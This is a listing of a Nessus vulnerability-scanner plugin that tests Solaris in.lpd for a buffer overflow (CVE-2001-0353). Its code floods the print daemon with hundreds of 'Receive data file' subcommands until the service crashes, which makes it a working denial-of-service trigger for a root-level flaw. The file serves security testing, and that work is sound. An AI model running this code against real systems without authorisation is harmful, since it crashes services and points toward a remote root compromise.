home *** CD-ROM | disk | FTP | other *** search
/ Chip 2007 January, February, March & April / Chip-Cover-CD-2007-02.iso / Pakiet bezpieczenstwa / mini Pentoo LiveCD 2006.1 / mpentoo-2006.1.iso / modules / nessus-2.2.8.mo / usr / lib / nessus / plugins / lpd_overflow.nasl < prev    next >
Encoding:
Text File  |  2005-01-14  |  3.4 KB  |  184 lines
  1. #
  2. # This script was written by Renaud Deraison
  3. #
  4. # See the Nessus Scripts License for details
  5. #
  6. # This plugin was realized thanks to the help
  7. # of the french "eXperts" working group - http://experts.securite.org
  8. #
  9.  
  10. if(description)
  11. {
  12.    script_id(10727);
  13.    script_bugtraq_id(2894);
  14.  script_version ("$Revision: 1.20 $");
  15.    script_cve_id("CVE-2001-0353");
  16.    name["english"] = "Buffer overflow in Solaris in.lpd";
  17.   
  18.    script_name(english:name["english"]);
  19.  
  20.    desc["english"] = "
  21. The remote lpd daemon seems to be vulnerable to a
  22. buffer overflow when sent too many 'Receive data file'
  23. commands.
  24. An attacker may use this flaw to gain root on this host.
  25.  
  26. Solution : if the remote host is running Solaris, apply
  27. the relevant patch from Sun. If not, report this problem to
  28. renaud@nessus.org as it may be a false positive
  29.  
  30. Risk factor : High
  31.  
  32. See also : http://www.securityfocus.com/bid/2894";
  33.  
  34.  
  35.    script_description(english:desc["english"]);
  36.  
  37.    summary["english"] = "Crashes the remote lpd";
  38.    script_summary(english:summary["english"]);
  39.  
  40.    script_category(ACT_DESTRUCTIVE_ATTACK);
  41.  
  42.    script_copyright(english:"This script is Copyright (C) 2001 Renaud Deraison");
  43.    script_family(english:"Gain root remotely");
  44.    script_require_ports("Services/lpd", 515);
  45.    script_dependencies("find_service.nes");
  46.  
  47.    exit(0);
  48. }
  49.  
  50.  
  51.  
  52. #
  53. # The code starts here
  54. #
  55.  
  56. port = get_kb_item("Services/lpd");
  57. if(!port)port = 515;
  58.  
  59.  
  60. timestamp = rand();
  61.  
  62.  
  63. #
  64. # LPRng is not vulnerable to this flaw
  65. # 
  66. function is_lprng()
  67. {
  68.  soc = open_priv_sock_tcp(dport:port);
  69.  if(!soc)
  70.   exit(0);
  71.  req = raw_string(9)+ string("lp") + raw_string(0x0A);
  72.  send(socket:soc, data:req);
  73.  r = recv(socket:soc, length:4096);
  74.  close(soc);
  75.  if("SPOOLCONTROL" >< r)return(1);
  76.  return(0);
  77. }
  78.  
  79. function printer_present(name)
  80. {
  81.  soc = open_priv_sock_tcp(dport:port);
  82.  if(!soc)
  83.   return(0);
  84.  req = raw_string(0x04,name, 0x0A);
  85.  send(socket:soc, data:req); 
  86.  r = recv(socket:soc, length:4096);
  87.  if(egrep(pattern:"Your host does not have .*access", string:r))return(0);
  88.  close(soc);
  89.  if(strlen(r) > 1) 
  90.   return(1);
  91.  return(0);
  92. }
  93.  
  94.  
  95. #
  96. # More default names should be added here
  97. #
  98. function find_printer()
  99. {
  100.  if(printer_present(name:"NESSUS:CHECK"))return("NESSUS:CHECK");
  101.  return(0);
  102. }
  103.  
  104. function subcommand(num)
  105. {
  106.  if(num < 10)pad = "0";
  107.  else pad = "";
  108.  return(raw_string(0x03) +"0 " + string("dfA0", pad, num, "nessus_test_",timestamp) + raw_string(0x0A));
  109. }
  110.  
  111. function ack()
  112. {
  113.  return(raw_string(0x00));
  114. }
  115.  
  116.  
  117. function abort()
  118. {
  119.  return(raw_string(0x01, 0x0A));
  120. }
  121.  
  122.  
  123. if(!get_port_state(port))exit(0);
  124.  
  125. if(is_lprng())
  126. {
  127.  exit(0);
  128. }
  129.  
  130. printer = find_printer();
  131. if(!printer)
  132. {
  133.  #display("No printer found\n");
  134.  exit(0);
  135. }
  136.  
  137. soc = open_priv_sock_tcp(dport:port);
  138. if(soc)
  139. {
  140.  req = raw_string(0x02, printer, 0x0A);
  141.  send(socket:soc, data:req);
  142.  r = recv(socket:soc, length:1);
  143.  if(r){
  144.     exit(0);
  145.     }
  146.  flag = 0;
  147.  for(i=0;i<400;i=i+1)
  148.  {
  149.  send(socket:soc, data:subcommand(num:i));
  150.  send(socket:soc, data:ack(num:i));
  151.  r = recv(socket:soc, length:2);
  152.  if(flag)
  153.  {
  154.   if(!strlen(r)){
  155.     if(i <     100)exit(0);
  156.     }
  157.  }
  158.  
  159.  
  160.  if(strlen(r)){
  161.     flag = 1;
  162.     #display(hex(r[0]), hex(r[1]), "\n");
  163.     if(!(r == raw_string(0,0)))
  164.     {
  165.     #display("Abort\n");
  166.     send(socket:soc, data:abort());
  167.     r = recv(socket:soc, length:1);
  168.     exit(0);
  169.     }
  170.       }
  171.  }
  172.  send(socket:soc, data:subcommand(num:i));
  173.  send(socket:soc, data:ack(num:i));
  174.  sleep(1);
  175.  r = recv(socket:soc, length:4096);
  176.  if(!r)security_hole(port);
  177.  else
  178.  {
  179.  send(socket:soc, data:abort());
  180.  r = recv(socket:soc, length:1);
  181.  close(soc);
  182.  }
  183. }
  184.